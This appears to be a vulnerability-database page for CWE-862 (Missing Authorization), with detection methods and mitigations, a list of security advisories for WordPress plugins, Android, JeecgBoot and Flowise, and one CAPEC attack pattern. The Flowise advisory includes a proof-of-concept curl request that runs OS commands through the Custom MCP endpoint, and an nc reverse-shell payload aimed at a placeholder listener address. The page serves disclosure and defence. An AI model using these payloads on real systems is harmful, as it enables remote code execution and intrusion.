CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
19823 vulnerabilities reference this CWE, most recent first.
GHSA-68W4-QXCH-R794
Vulnerability from github – Published: 2026-06-19 21:32 – Updated: 2026-06-19 21:32The WP Go Maps – Most Popular Map Plugin plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 10.1.01. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to create arbitrary records in plugin database tables (maps, markers, circles, polygons, polylines, rectangles, and point labels) by supplying a WPGMZA-namespaced CRUD-backed class name via the phpClass parameter. The namespace validation check (requiring the 'WPGMZA' prefix) does not prevent exploitation because classes such as WPGMZA\Map and WPGMZA\Marker satisfy it while still triggering an INSERT into the corresponding plugin table before the route rejects the request.
{
"affected": [],
"aliases": [
"CVE-2026-12238"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-19T19:16:27Z",
"severity": "MODERATE"
},
"details": "The WP Go Maps \u2013 Most Popular Map Plugin plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 10.1.01. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to create arbitrary records in plugin database tables (maps, markers, circles, polygons, polylines, rectangles, and point labels) by supplying a WPGMZA-namespaced CRUD-backed class name via the phpClass parameter. The namespace validation check (requiring the \u0027WPGMZA\u0027 prefix) does not prevent exploitation because classes such as WPGMZA\\Map and WPGMZA\\Marker satisfy it while still triggering an INSERT into the corresponding plugin table before the route rejects the request.",
"id": "GHSA-68w4-qxch-r794",
"modified": "2026-06-19T21:32:47Z",
"published": "2026-06-19T21:32:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12238"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-google-maps/tags/10.0.10/includes/class.rest-api.php#L1052"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c51c6cfb-9a79-4190-87ff-7eddb866ae56?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-68W6-2GRJ-8RWQ
Vulnerability from github – Published: 2026-10-11 00:30 – Updated: 2026-10-11 00:30JeecgBoot through 3.9.5 contains a missing authorization vulnerability in the queryPageList handler of OpenApiController that allows any authenticated user to list OpenAPI registry definitions. Low-privileged attackers can query GET /openapi/list to read virtual paths, internal origin URLs, IP whitelists, and header and parameter templates intended for administrators.
{
"affected": [],
"aliases": [
"CVE-2026-108653"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-10T22:16:41Z",
"severity": "MODERATE"
},
"details": "JeecgBoot through 3.9.5 contains a missing authorization vulnerability in the queryPageList handler of OpenApiController that allows any authenticated user to list OpenAPI registry definitions. Low-privileged attackers can query GET /openapi/list to read virtual paths, internal origin URLs, IP whitelists, and header and parameter templates intended for administrators.",
"id": "GHSA-68w6-2grj-8rwq",
"modified": "2026-10-11T00:30:58Z",
"published": "2026-10-11T00:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108653"
},
{
"type": "WEB",
"url": "https://github.com/AnkesKasty/cve-request-poc/blob/a7b6d1423555812d8efa26c91c5d0683164b31e5/JeecgBoot/poc_openapi_config_and_call_gateway.py"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot/blob/e3b9dc0aefe1943d9772b026f64ed671a7c82802/jeecg-boot/jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/openapi/controller/OpenApiController.java#L73-L80"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/jeecgboot-through-3.9.5-missing-authorization-via-get-openapi-list"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-68XG-X7J2-M7G4
Vulnerability from github – Published: 2025-06-26 21:31 – Updated: 2025-06-26 21:31The Post Carousel Slider for Elementor plugin for WordPress is vulnerable to improper authorization due to a missing capability check on the process_wbelps_promo_form() function in all versions up to, and including, 1.6.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to trigger the plugin’s support‐form handler to send arbitrary emails to the site’s support address.
{
"affected": [],
"aliases": [
"CVE-2025-3863"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-26T02:15:20Z",
"severity": "MODERATE"
},
"details": "The Post Carousel Slider for Elementor plugin for WordPress is vulnerable to improper authorization due to a missing capability check on the process_wbelps_promo_form() function in all versions up to, and including, 1.6.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to trigger the plugin\u2019s support\u2010form handler to send arbitrary emails to the site\u2019s support address.",
"id": "GHSA-68xg-x7j2-m7g4",
"modified": "2025-06-26T21:31:15Z",
"published": "2025-06-26T21:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3863"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/post-carousel-slider-for-elementor/tags/1.5.0/support-page/class-support-page.php#L28"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3316424%40post-carousel-slider-for-elementor\u0026new=3316424%40post-carousel-slider-for-elementor\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/post-carousel-slider-for-elementor/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0b92afdf-51e0-4cf5-9f2b-997b9ff98b23?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-692C-FCWQ-76XF
Vulnerability from github – Published: 2023-08-14 21:30 – Updated: 2024-04-04 06:55In onCreate of ManagePermissionsActivity.java, there is a possible way to bypass factory reset protections due to a missing permission check. This could lead to local escalation of privilege with physical access to a device that's been factory reset with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2023-21132"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-14T21:15:11Z",
"severity": "MODERATE"
},
"details": "In onCreate of ManagePermissionsActivity.java, there is a possible way to bypass factory reset protections due to a missing permission check. This could lead to local escalation of privilege with physical access to a device that\u0027s been factory reset with no additional execution privileges needed. User interaction is not needed for exploitation.\n\n",
"id": "GHSA-692c-fcwq-76xf",
"modified": "2024-04-04T06:55:48Z",
"published": "2023-08-14T21:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21132"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/packages/modules/Permission/+/0679e4f35055729be7276536fe45fe8ec18a0453"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2023-08-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-692H-3JRR-4265
Vulnerability from github – Published: 2022-11-09 12:00 – Updated: 2022-11-09 19:02In onCallRedirectionComplete of CallsManager.java, there is a possible permissions bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-235098883
{
"affected": [],
"aliases": [
"CVE-2022-20451"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-08T22:15:00Z",
"severity": "HIGH"
},
"details": "In onCallRedirectionComplete of CallsManager.java, there is a possible permissions bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-235098883",
"id": "GHSA-692h-3jrr-4265",
"modified": "2022-11-09T19:02:24Z",
"published": "2022-11-09T12:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20451"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2022-11-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-692Q-XCHH-RJ9P
Vulnerability from github – Published: 2024-04-24 18:30 – Updated: 2026-04-28 21:34Missing Authorization vulnerability in TrackShip TrackShip for WooCommerce.This issue affects TrackShip for WooCommerce: from n/a through 1.7.5.
{
"affected": [],
"aliases": [
"CVE-2024-32678"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-24T16:15:09Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in TrackShip TrackShip for WooCommerce.This issue affects TrackShip for WooCommerce: from n/a through 1.7.5.",
"id": "GHSA-692q-xchh-rj9p",
"modified": "2026-04-28T21:34:56Z",
"published": "2024-04-24T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32678"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/trackship-for-woocommerce/wordpress-trackship-for-woocommerce-plugin-1-7-5-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6933-JPX5-Q87Q
Vulnerability from github – Published: 2025-09-15 20:30 – Updated: 2026-11-03 17:36Summary
The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.
This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.
PoC
-
Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as
npx,pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker -
Create a new file named
payload.jsonsomewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
- Send the following
curlrequest using thepayload.jsonfile created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
- Observe that a new file named
yofitofiis created under/tmpfolder.
Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:
{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}
Impact
Remote code execution
Mitigation
- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform.
- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.
- Consider running Custom MCPs within a sandboxed environment
Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.7-patch.1"
},
{
"fixed": "3.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-71336"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-15T20:30:30Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nThe Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise\u0027s inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables.\n\nThis combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.\n\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"touch\",\"args\": [\"/tmp/yofitofi\"]}},\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n\nSimilarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"nc\",\"args\": [\n\"\u003cLISTENER_IP_ADDRESS\u003e\",\"\u003cLISTENER_PORT\u003e\",\"-e\",\"/bin/sh\"\n]}},\n\"loadMethod\":\"listActions\"}\n```\n\n\n\n### Impact\nRemote code execution\n\n### Mitigation\n- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with \"Admin\" roles will be able to configure new Custom MCPs within the platform.\n- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.\n- Consider running Custom MCPs within a sandboxed environment\n\n### Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.",
"id": "GHSA-6933-jpx5-q87q",
"modified": "2026-11-03T17:36:35Z",
"published": "2025-09-15T20:30:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6933-jpx5-q87q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71336"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/5201"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/ac7cf30e019cde54905bf09b5d3fe1c6ba42f9b9"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/flowise-unsandboxed-remote-code-execution-via-custom-mcp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise has unsandboxed remote code execution via Custom MCP"
}
GHSA-693Q-V8JJ-PG4P
Vulnerability from github – Published: 2026-10-11 15:31 – Updated: 2026-10-11 15:31JeecgBoot through 3.9.5 contains a missing authorization vulnerability that allows low-privileged authenticated users to modify any department by calling PUT /sys/user/doUpdateDepartInfo. Attackers can supply a department id to rename or re-parent it and replace or remove its department heads without ownership or tenant checks.
{
"affected": [],
"aliases": [
"CVE-2026-108873"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-11T15:16:54Z",
"severity": "MODERATE"
},
"details": "JeecgBoot through 3.9.5 contains a missing authorization vulnerability that allows low-privileged authenticated users to modify any department by calling PUT /sys/user/doUpdateDepartInfo. Attackers can supply a department id to rename or re-parent it and replace or remove its department heads without ownership or tenant checks.",
"id": "GHSA-693q-v8jj-pg4p",
"modified": "2026-10-11T15:31:09Z",
"published": "2026-10-11T15:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108873"
},
{
"type": "WEB",
"url": "https://github.com/AnkesKasty/cve-request-poc/blob/a7b6d1423555812d8efa26c91c5d0683164b31e5/JeecgBoot/poc_sys_user_update_depart_info.py"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot/blob/e3b9dc0aefe1943d9772b026f64ed671a7c82802/jeecg-boot/jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/controller/SysUserController.java#L1996-L2000"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/jeecgboot-through-3.9.5-missing-authorization-via-sys-user-doupdatedepartinfo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-693R-X8GF-V48R
Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2026-04-01 18:36Missing Authorization vulnerability in recorp Export WP Page to Static HTML/CSS allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Export WP Page to Static HTML/CSS: from n/a through 4.1.0.
{
"affected": [],
"aliases": [
"CVE-2025-58980"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T17:16:12Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in recorp Export WP Page to Static HTML/CSS allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Export WP Page to Static HTML/CSS: from n/a through 4.1.0.",
"id": "GHSA-693r-x8gf-v48r",
"modified": "2026-04-01T18:36:08Z",
"published": "2025-09-09T18:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58980"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/export-wp-page-to-static-html/vulnerability/wordpress-export-wp-page-to-static-html-css-plugin-4-1-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-694G-R8XX-3669
Vulnerability from github – Published: 2022-05-11 00:01 – Updated: 2022-05-17 00:01In broadcastServiceStateChanged of TelephonyRegistry.java, there is a possible way to learn base station information without location permission due to a missing permission check. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12 Android-12LAndroid ID: A-210118427
{
"affected": [],
"aliases": [
"CVE-2022-20115"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-10T20:15:00Z",
"severity": "MODERATE"
},
"details": "In broadcastServiceStateChanged of TelephonyRegistry.java, there is a possible way to learn base station information without location permission due to a missing permission check. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12 Android-12LAndroid ID: A-210118427",
"id": "GHSA-694g-r8xx-3669",
"modified": "2022-05-17T00:01:25Z",
"published": "2022-05-11T00:01:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20115"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2022-05-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.